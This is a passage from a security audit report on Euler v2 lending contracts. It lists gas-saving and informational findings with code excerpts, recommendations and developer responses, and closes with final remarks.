#### Developer Response

Fixed in commit 0f121726cced67833755c7443a089e0bec97c64f.

### 4. Gas - Oracle quote can be skipped when collateral equals unit of account

The implementation does the check when quoting the vault asset but doesn't apply the same strategy when quoting the collaterals.

#### Technical Details

- Borrowing.sol#L95
- Liquidation.sol#L134
- LiquidityUtils.sol#L98

#### Impact

Gas savings.

#### Recommendation

Skip the `getQuote()` call when the base and quote are the same tokens.

#### Developer Response

Acknowledged - While quoting the collaterals in terms of liability asset is a plausible scenario, collateral being the unit of account would be purely coincidental and in our opinion doesn't justify extra code paths.

### 5. Gas - MinterData is updated to storage twice in ESynth.sol

The implementation uses a `minterCache` storage reference and then updates both this reference and the `minters` mapping.

#### Technical Details

- ESynth.sol#L54-L55
- ESynth.sol#L73-L74

#### Impact

Gas savings.

#### Recommendation

Set `minterCache` as a memory reference, or do the update once directly to storage.

#### Developer Response

Fixed in commit 2e8ca79c686db3a7ee4ad8790202b38534dac69a.

### 6. Gas - Allowance check can be skipped when the owner is the spender

Fetching the allowance balance can be skipped when the owner account matches the spender, saving a load from storage.

#### Technical Details

In `decreaseAllowance()`, the spender's allowance is fetched before checking if `owner != spender`.

```
108:         uint256 allowance = vaultStorage.users[owner].eTokenAllowance[spender];
109:         if (owner != spender && allowance != type(uint256).max) {
```

#### Impact

Gas savings.

#### Recommendation

Fetch the allowance after checking if `owner != spender`.

```
-   uint256 allowance = vaultStorage.users[owner].eTokenAllowance[spender];
-   if (owner != spender && allowance != type(uint256).max) {
+   if (owner != spender) {
+       uint256 allowance = vaultStorage.users[owner].eTokenAllowance[spender];
+       if (allowance != type(uint256).max) {
            if (allowance < amount.toUint()) revert E_InsufficientAllowance();
            unchecked {
                allowance -= amount.toUint();
            }
            vaultStorage.users[owner].eTokenAllowance[spender] = allowance;
            emit Approval(owner, spender, allowance);
+       }
    }
```

#### Developer Response

Fixed in commit 4b96fbeaccd9ae6c3e35abf07406c757f25e590d.

## 7. Gas - Use immutable variables

Several storage variables are configured at deployment time and remain immutable throughout the contract's lifecycle.

#### Technical Details

The following storage variables can be changed to immutable variables.

- `Core::governor`
- `Core::feeReceiver`

#### Impact

Gas savings.

#### Recommendation

Change the listed variables to immutable.

#### Developer Response

Acknowledged.

### 8. Gas - return `esrSlotCache.interestLeft` when `block.timestamp >= esrSlotCache.interestSmearEnd`

#### Technical Details

In the function `interestAccruedFromCache()` the first condition checks if we reach the `interestSmearEnd` date.

The condition checks if the `block.timestamp` is greater, but it could be changed to a greater or equal condition, as the result will be the same.

#### Impact

Gas savings.

#### Recommendation

Change condition from `block.timestamp > esrSlotCache.interestSmearEnd` to `block.timestamp >= esrSlotCache.interestSmearEnd`.

#### Developer Response

Fixed in commit 19279b4426d871d592b512541e29e7cebed7fed2.

### 9. Gas - Unnecessary `validateController()` in `calculateLiquidation()`

#### Technical Details

In the function `calculateLiquidation()` the `validateController()` check is used on the `violator`. Still, it is not needed as the EVC's `controlCollateral()` function will also check that the contract calling is the controller of the `violator`.

#### Impact

Gas savings.

#### Recommendation

Remove the check.

#### Developer Response

Acknowledged. While the gas optimization could be achieved, because of the sensitive nature of liquidation flows, we prefer to keep the explicit check for the violator's controller along with the rest of checks.

## Informational Findings

### 1. Informational - `calculateDTokenAddress()` may not work on all EVM-compatible chains

#### Technical Details

The function `calculateDTokenAddress()` is used to get the address of the dToken. It computes the deployment address of the EVM `create` instruction and returns it.

Some chains, like ZkSync Era, have a different `create` and `create2` address derivation, which causes this function to return the wrong address.

#### Impact

Informational. The function may not work on all EVM chains.

#### Recommendation

Consider storing the dToken address.

#### Developer Response

Acknowledged.

### 2. Informational - `isEVCCompatible()` check is insufficient

#### Technical Details

The function `isEVCCompatible()` checks if a contract is compatible with the EVC by calling the `evc()` method on it and checking that it returns the correct EVC address.

This check seems insufficient to assume that a contract is EVC compatible; some contracts/tokens may store the EVC address without being fully compatible.

#### Impact

Informational. Insufficient compatibility check.

#### Recommendation

Consider implementing an explicit `isEvcCompatible()` function on the compatible contract that would return a magic value, similar to NFTs' support interface.

#### Developer Response

Acknowledged. The check is a best effort. Since the audit started, product lines have been deprecated in favor of a different design for verifying vaults using 'perspectives' contracts, which will be audited separately.

### 3. Informational - Product lines have the same token symbols

#### Technical Details

The escrow and core product lines both assign the vault token the symbol "e" + the asset symbol. Using the same symbols for different product lines may be confusing.

#### Impact

Informational. The same symbols for different product lines may be confusing.

#### Recommendation

Consider giving a different symbol prefix for each product line.

#### Developer Response

Acknowledged. Since the audit started, product lines have been deprecated in favor of a different design for verifying vaults, including their names and symbols, using 'perspectives' contracts, which will be audited separately.

### 4. Informational - Underlying asset is required to implement `decimals()`

According to the white paper, the vault takes its decimals from the asset or defaults to 18 if not specified. However, the implementation just forwards the call to `decimals()` without any fallback.

#### Technical Details

Token.sol#L26-L30

```
26:     function decimals() public view virtual reentrantOK returns (uint8) {
27:         (IERC20 asset,,) = ProxyUtils.metadata();
28:
29:         return asset.decimals();
30:     }
```

#### Impact

Informational.

#### Recommendation

Update the docs or adjust the implementation to make the call to `asset.decimals()` optional.

#### Developer Response

Fixed in commit 0118010f069dee7d5e76e5bfe1496ca53e065417.

### 5. Informational - Safe LTV update is not enforced

#### Technical Details

The governor can update or remove the LTV for an asset in the Governance module.

The `setLTV()` function takes a `rampDuration` as parameter to slowly update the LTV if it was already existing and if the new one is smaller. This way, borrowing positions don't get instantly liquidated and have time to adapt. This `rampDuration` has no minimum value enforced (it could be set to 0), resulting in an unsafe LTV update from the governor.

The `clearLTV()` function doesn't take any `rampDuration` and directly clears out the LTV, it also doesn't enforce that the LTV was set to 0 before removing it. This can result in the governor clearing an LTV unsafely, putting borrowing positions at risk, and creating bad debt.

While the Governor is a trusted actor, it doesn't protect it from mistakes. Additionally, if some product lines allow third parties to create lending markets in the future, it is crucial to protect them from themselves.

An example is the recent Pacman LTV update that resulted in 24m$ liquidation.

#### Impact

Informational. While the governor is a trusted actor, mistakes could happen if different entities, not just Euler, create more markets.

#### Recommendation

Add a `minimumRampDuration` in `setLTV()` and check that the LTV is 0 in `clearLTV()` before removing it.

#### Developer Response

Acknowledged. We confirm the functions `setLTV` and `clearLTV` are functioning as designed. It's ultimately the governor's responsibility to use them appropriately.

### 6. Informational - Loop might borrow more than specified

The `loop()` function specifies an `amount` of assets which is then rounded twice, potentially increasing the amount of debt taken.

#### Technical Details

The implementation of `loop()` first rounds the assets up to shares and then rounds that number of shares back to the asset domain.

```
145:         Assets assets = amount.toAssets();
146:         if (assets.isZero()) return 0;
147:         Shares shares = assets.toSharesUp(vaultCache);
148:         assets = shares.toAssetsUp(vaultCache);
```

This is safe for the vault, but there might be differences between the desired amount of debt specified as an argument and the final calculated debt the borrower will take, which isn't documented.

#### Impact

Informational.

#### Recommendation

Document the behavior. Alternatively, the function could directly take the number of shares to be minted, providing a better interface.

#### Developer Response

Fixed in commit 8886729eea5281941423b673794d755be98cc6ae.

### 7. Informational - Any collateral is considered as used when the account is unhealthy

When an account is unhealthy, `collateralUsed()` returns the entire balance of any collateral, even if unrecognized for the controller.

#### Technical Details

The implementation of `collateralUsed()` compares an account's liability with the amount of collateral provided and early returns the entire collateral's balance if the position is unhealthy.

```
74:         (uint256 totalCollateralValueRiskAdjusted, uint256 liabilityValue) =
75:             calculateLiquidity(vaultCache, account, collaterals, LTVType.BORROWING);
76:
77:         // if there is no liability or it has no value, collateral will not be locked
78:         if (liabilityValue == 0) return 0;
79:
80:         uint256 collateralBalance = IERC20(collateral).balanceOf(account);
81:
82:         // if account is not healthy, all of the collateral will be locked
83:         if (liabilityValue >= totalCollateralValueRiskAdjusted) {
84:             return collateralBalance;
85:         }
86:
87:         // if collateral has zero LTV configured, it will not be locked
88:         ConfigAmount ltv = getLTV(collateral, LTVType.BORROWING);
89:         if (ltv.isZero()) return 0;
```

This will happen for any collateral as long as it is enabled for the given account. There is no check to see if the collateral is recognized, and the 0 LTV check is done after the early return.

#### Impact

Informational. The `collateralUsed()` function is primarily informational and only used in `maxWithdraw()` and `maxRedeem()`.

#### Recommendation

Check if the collateral is recognized in the controller's context before the health check.

#### Developer Response

Fixed in commit 59a4ac1cf6f90242c73d6cfda12c33cd5f7422fe - `collateralUsed()` function is removed. `maxWithdraw()` and `maxRedeem()` return zero (underestimate) when collateral is used to support debt.

### 8. Informational - sDAI oracle can be implemented using ERC4626 conversion

The sDAI oracle implements the same logic as the vault's `convertToShares()` and `convertToAssets()`, which means that conversion can be directly resolved in `_resolveOracle()` without the need of another contract.

#### Technical Details

SDaiOracle.sol can be replaced by configuring sDAI and DAI using `govSetResolvedVault()` in EulerRouter.sol.

#### Impact

Informational.

#### Recommendation

Remove SDaiOracle.sol and resolve the sDAI conversion directly in EulerRouter.sol.

#### Developer Response

Acknowledged - Ended up removing SDaiOracle entirely. Instead, EulerRouter is fully equipped to price sDai -> Dai after configuring sDai as a resolved vault in EulerRouter. Note that this means that the opposite direction, Dai -> sDai, cannot be priced this way, which we think is fine.

### 9. Informational - Consider updating Oracle adapters when deploying on Layer 2s

#### Technical Details

The current version of the codebase is expected to be deployed on the Ethereum mainnet.

It is important to note that changes might be needed for future deployments on other chains like layer 2s.

Because Layer 2s mostly use centralized sequencers, if the sequencer were to be down and then come back up, Oracles like Chainlink might return a price that looks fresh but is actually outdated.

This is due to the nature of sequencers, which process transactions one by one in order that were stored during the downtime.

Chainlink suggests setting a `grace period` during which the oracle shouldn't be trusted.

#### Impact

Informational. Contracts will likely be updated when deploying on other chains.

#### Recommendation

Consider reviewing all Oracle adapters and adding a `grace period` for Chainlink like suggested here.

#### Developer Response

Acknowledged.

### 10. Informational - Inconsistent rounding of vault debt

Debt is tracked using the `Owed` data type, which provides extended precision. In most situations, it is rounded up when the debt is converted to the asset domain. However, there is an instance where the vault's debt is rounded down.

#### Technical Details

In `initVaultCache()`, `newTotalBorrows` is rounded down when updating the accumulated fees:

```
95:                 uint256 newTotalAssets = vaultCache.cash.toUint() + (newTotalBorrows
>> INTERNAL_DEBT_PRECISION);
```

#### Impact

Informational. These are amounts that represent sub-wei magnitudes of the asset.

#### Recommendation

Acknowledge that the rounding down is intentional, or align them with the general behavior of rounding up.

#### Developer Response

Fixed in commit 6a6ec467d3f03b7e963888f7802d19e70344d6bd.

## Final remarks

The Euler v2 is a complex yet elegant architecture comprised of three main components: the Ethereum Vault Connector (EVC), the Euler Vault Kit (EVK), and the price oracles. The EVK contains the majority of the code, as it is where the main lending logic resides. The documentation and the team's knowledge of their system demonstrate the significant effort put into its design.

The Euler v2 components were still in development during the audit and will likely receive more updates before deployment. The audited version lacked comprehensive tests, but auditors were able to follow the testing development conducted by the team in parallel with the audit. The Euler team was prompt in answering questions and actively involved throughout the audit, providing feedback and fixes swiftly when new findings were identified.

Some concerns were raised by the auditors regarding the system's complexity, particularly as it might be used as infrastructure by third parties who may not have the same security practices or knowledge as the Euler team.

The auditors look forward to seeing this new product join the evolving world of DeFi.